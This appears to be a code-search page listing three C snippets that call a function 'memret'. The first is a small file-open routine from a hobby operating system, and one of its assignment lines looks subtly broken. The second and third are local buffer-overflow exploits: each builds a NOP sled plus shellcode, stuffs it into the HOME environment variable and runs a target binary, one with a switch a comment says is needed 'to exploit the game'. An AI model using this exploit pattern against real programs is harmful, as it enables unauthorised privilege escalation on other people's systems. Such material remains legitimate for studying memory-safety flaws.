Example #1
0
FILE* open(char* file_name, u8int flags)
{
  if(file_name == STDIN)
  {
    FILE* stdin = (FILE*)memret(sizeof(FILE));
    *stdin->name = "stdin";
    stdin->file_id = STDIN;
    return stdin;
  }
  if(file_name == STDOUT)
  {
    FILE* stdout = (FILE*)memret(sizeof(FILE));
    *stdout->name = "stdout";
    stdout->file_id = STDOUT;
    return stdout;
  }
  return 0;
}
Example #2
0
int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}
Example #3
0
int main ()
{
	int ret = RET;
	char out[SIZE];

	memret ((char *)out, ret, SIZE-1, 0);

	memset ((char *)out, NOP, 333);
	memcpy ((char *)out+333, shellcode, strlen(shellcode));

	setenv ("HOME", out, 1);

	banner ();
	execl (BIN, BIN, 0x0);
}